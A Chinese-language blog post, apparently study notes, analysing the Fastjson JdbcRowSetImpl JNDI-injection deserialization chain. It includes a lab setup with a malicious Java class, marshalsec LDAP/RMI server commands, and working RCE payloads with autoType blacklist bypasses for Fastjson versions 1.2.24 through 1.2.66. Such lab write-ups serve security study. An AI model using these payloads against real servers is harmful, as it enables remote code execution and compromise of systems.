Fastjson JdbcRowSetImpl利用鏈學習

akka1發表於2022-04-14

JdbcRowSetImpl

接著繼續學習fastjson的第二條鏈JdbcRowSetImpl,主要是利用jndi注入達到的攻擊,而且沒有什麼利用限制,而且其原理就是setter的自動呼叫,具體setter呼叫程式碼可以參考上篇文章除錯的部分

1、漏洞復現

1.1、元件依賴版本

fastjson:1.2.22-1.2.24

1.2、利用方式

不像TemplatesImpl鏈需要指定的利用方式,JdbcRowSetImpl鏈只需要可以控制輸入就能利用。

JSON.parse(evil);
JSON.parseObject(evil);
JSON.parseObject(evil, Object.class);

當然對jdk的版本有需求,因為高版本jdk對jndi和rmi有限制,在rmi篇也有說明這裡再次貼出,方便自己以後檢視

RMI利用的JDK版本≤ JDK 6u132、7u122、8u113

LADP利用JDK版本≤ 6u211 、7u201、8u191

img

圖為阿里雲應用

1.3、漏洞復現

準備惡意的程式碼

import java.io.IOException;

public class EXP {
    public EXP() throws IOException {
        Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
    }
}

編譯惡意程式碼

javac EXP.java

開啟http服務

python3 -m http.server

image-20220413214234339

用marshalsec開jndi服務

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#EXP 1389

image-20220413214333530

使用JdbcRowSetImpl構造poc,成功彈窗

package com.akkacloud.demo;

import com.sun.rowset.JdbcRowSetImpl;

import java.sql.SQLException;

public class fastjonTest2 {
    public static void main(String[] args) {

        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        try {
            jdbcRowSet.setDataSourceName("ldap://localhost:1389/#EXP");
            jdbcRowSet.setAutoCommit(true);
        } catch (SQLException throwables) {
            throwables.printStackTrace();
        }

    }
}

image-20220413214619189

因為fastjson會自動呼叫setter和getter,具體可以看

Poc除錯的那部分,所以我們就可以構造處fastjson的poc

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/#EXP", "autoCommit":true}

我們JSON.parse()試一下

poc

package com.akkacloud.demo;

import com.alibaba.fastjson.JSON;
import com.sun.rowset.JdbcRowSetImpl;

import java.sql.SQLException;

public class fastjonTest2 {
    public static void main(String[] args) {
        String exp = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/#EXP\", \"autoCommit\":true}";
        JSON.parse(exp);
    }
}

image-20220413215221580

1.4、利用鏈除錯

這次我們就直接跳過fastjson的利用鏈,因為在TemplateImpl中已經詳細跟進過,我們直接進入到 jdbcRowImpl,在setDataSourceName方法打下斷點,其實看呼叫棧也是可以看出,前半部分是跟TemplatesImpl鏈是一樣的,一個呼叫的是getOutputproperties,一個是setDataSourceName。

image-20220413220024927

我們繼續看,先判斷DataSourceName的是否為null,不為就呼叫父類方法賦值,我們也跟進去看看

image-20220413220332116

可以看到就是簡單的dataSource賦值,然後就到setAutoCommit

image-20220413220512105

image-20220413220543040

就是判斷this.conn是否為null,null就呼叫this.connect()方法賦值,我們也跟進去看看

image-20220413220656258

跟進來發現,獲取上下文然呼叫lookup方法,引數就是我們獲取我們前面賦值dataSource

image-20220413220903770

然後就成功執行程式碼了

image-20220413221407002

2、漏洞繞過

前面的兩條鏈都是的Fastjson版本都是1.2.22-1.2.24,後面就是繞過了。

2.1、Fastjson:1.2.25-1.2.41

我們先把依賴版本改成1.2.25,再次執行poc發現不行了,報錯,說autotype不支援,我們比較一下兩個包

image-20220414130118274

我們在TemplatesImpl時,看過這段程式碼,this.config是ParserConfig,而ref是templatesImpl,他用checkAutoType檢查了ref,我們看看他怎麼檢查的,我們在此處打下斷點

image-20220414133117119

確實在1.2.25會使用checkAutoType來校驗ref(TemplatesImpl),我們跟進去發現要呼叫TypeUtils.loadClass,需要進入if,但是this.autoTypeSupport預設為false,所以進不去,

image-20220414134134138

而且在1.2.25版本中預設為flase,我們需要把this.autoTypeSupport設定為true,

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

然後到了this.acceptList(白名單),因為他本身就是空的

image-20220414135451723

然後就是黑名單denyList,我們看看是什麼東西,發現我們com.sun包就在這裡和其他的一些利用鏈類。

image-20220414135818600

那我們應該怎麼辦呢?我們怎辦才能進入TypeUtils.loadClass(typeName, this.defaultClassLoader),大佬們是跟進去TypeUtils.loadClass方法,發現了繞過方法,我們也跟進去。

跟進來發現,一種是@Type欄位開頭是 ”[“,另一種“L”開頭與“;”結尾,他就會從第二個字元獲取我們的className。

image-20220414140706654

所以我們就可以構造新的payload,前提掉件就是AutoTypeSupport要為ture

ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // 必須顯示關閉白名單
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:1389/#EXP", "autoCommit":true}

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String exp = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://localhost:1389/#EXP\", \"autoCommit\":true}";
JSON.parseObject(exp);

image-20220414141444190

2.2、Fastjson:1.2.42

我們繼續修改fastjson版本為1.2.42,繼續報錯autotype不支援,應該是黑名單問題。

image-20220414141823062

我們除錯點依舊打在checkAutoType,繼續跟進看看

image-20220414142124784

進來發現一堆hash,但是扔然進入到我們的第一紅框,把className的"L"和";"去除掉了。

image-20220414143011787

而且hash的加密方式就在com.alibaba.fastjson.util.TypeUtils#fnv1a_64,我們只需要通過把惡意的類通過碰撞hash就可以獲取黑名單了,專案地址:https://github.com/LeadroyaL/fastjson-blacklist

image-20220414143343531

因為前面已經去除過一次"L"和";",所以是進入不到if,我們用雙寫就可以繞過了。

image-20220414143606281

修改payload

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/#EXP", "autoCommit":true}

package com.akkacloud.demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.rowset.JdbcRowSetImpl;

import java.sql.SQLException;

public class fastjonTest2 {
    public static void main(String[] args) {

        String exp = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"ldap://localhost:1389/#EXP\", \"autoCommit\":true}";


        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        JSON.parseObject(exp);
    }
}

image-20220414143927278

2.3、Fastjson:1.2.43

1.2.43就是在原有的基礎上對"LL"做了判定,是就直接丟擲異常

image-20220414144600160

image-20220414144428185

但是"["還是可以

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1389/EXP", "autoCommit":true}

package com.akkacloud.demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.rowset.JdbcRowSetImpl;

import java.sql.SQLException;

public class fastjonTest2 {
    public static void main(String[] args) {

 /*       JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        try {
            jdbcRowSet.setDataSourceName("ldap://localhost:1389/#EXP");
            jdbcRowSet.setAutoCommit(true);
        } catch (SQLException throwables) {
            throwables.printStackTrace();
        }*/


        String exp = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"ldap://localhost:1389/EXP\", \"autoCommit\":true}" ;


        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        JSON.parseObject(exp);
    }
}

2.4、Fastjson:1.2.44

[進行限制

image-20220414150518037

2.5、Fastjson:1.2.45

利用條件需要目標服務端存在mybatis的jar包,且版本需為3.x.x系列<3.5.0的版本。

<dependency>
  <groupId>org.apache.ibatis</groupId>
  <artifactId>ibatis-core</artifactId>
  <version>3.0</version>
</dependency>

用的是rmi服務

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://localhost:8000/#EXP 1099

image-20220414151702839

poc

//需要有第三方元件ibatis-core 3:0
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}


package com.akkacloud.demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.rowset.JdbcRowSetImpl;

import java.sql.SQLException;

public class fastjonTest2 {
    public static void main(String[] args) {

        String exp = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"rmi://localhost:1099/EXP\"}}" ;


        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        JSON.parseObject(exp);
    }
}

這裡採用的跟前面的方式不一樣,學習一下

@type指定的是JndiDataSourceFactory類,呼叫的是setProperties,原理依然是fastJson會自動呼叫getter和setter方法。我們跟進setProperties看看

image-20220414154301140

到了這裡就是會lookup,傳入的json字串data_source,造成RCE

image-20220414154401548

2.6、1.2.25-1.2.47通殺

沒有autotype限制和黑名單限制

{
    "a": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "ldap://localhost:1389/Exploit", 
        "autoCommit": true
    }
}

package com.akkacloud.demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.rowset.JdbcRowSetImpl;
import org.apache.ibatis.datasource.jndi.JndiDataSourceFactory;

import java.sql.SQLException;

public class fastjonTest2 {
    public static void main(String[] args) {

    String exp = "{\"a\": {\"@type\": \"java.lang.Class\",\"val\": \"com.sun.rowset.JdbcRowSetImpl\"},\"b\": {\"@type\": \"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\": \"ldap://localhost:1389/EXP\",\"autoCommit\": true}}";


        JSON.parseObject(exp);
    }
}

image-20220414160806899

我們跟進分析學習,在checkAutoType,因為我們第一個傳入的是@Type是java.lang.Class,也沒有把autoTypeSupport設定為true,所以會通過TypeUtils.getClassFromMapping(typeName)去查詢,或者從this.deserializers.findClass(typeName)尋找。

image-20220414161517145

在this.deserializers中找到了java.lang.Class,然後就直接返回了clazz,

image-20220414162634663

我們回到上一層DefaultJSONParser的parseObject方法,然後我們繼續走到下面

獲取了java.lang.Class的反序列化處理類,com.alibaba.fastjson.serializer.MiscCodec,然後執行deserializer.deserialze(),跟進去

image-20220414163343646

進入MiscCodec.deserialze(),我們直接進入重點parser.parse(),這個方法就是用來獲取val值的,我們跟進去看看

image-20220414164641787

其實就是遍歷獲取val的值,然後返回

image-20220414164822405

image-20220414164855503

然後賦值給strVal

image-20220414165021453

然後就是一堆if判斷,走到TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader()),把strVal傳進去

image-20220414165123287

跟進來,在mapping裡面存入了jdbcRowSetImpl,就是存入了mapping快取

image-20220414170704963

跟著程式繼續來到checkAutoType(),跟進去。

image-20220414171142632

會在mapping中查詢jdbcRowImpl,因為我們已經存進去,所以clazz就能獲取到,然後返回,我回到上一層

image-20220414171302731

走到這,成功獲取到jdbcRowSetImpl,然後就是自動自行我們的set方法,setDataSourceName、setautoCommit執行lookup,造成rce

image-20220414171512585

2.7、Fastjson:1.2.48

黑名單多了兩條,MiscCodec中將預設傳入的cache變為false,checkAutoType()調整了邏輯

2.8、Fastjson:1.2.62

  • 需要開啟AutoType;
  • Fastjson <= 1.2.62;
  • JNDI注入利用所受的JDK版本限制;
  • 目標服務端需要存在xbean-reflect包;
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1099/exploit"}";

image-20220414172925188

2.9、Fastjson:1.2.66

// 需要autotype true
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1389/Calc"}}

參考連結
https://y4er.com/post/fastjson-learn/
https://www.cnblogs.com/nice0e3/p/14776043.html

相關文章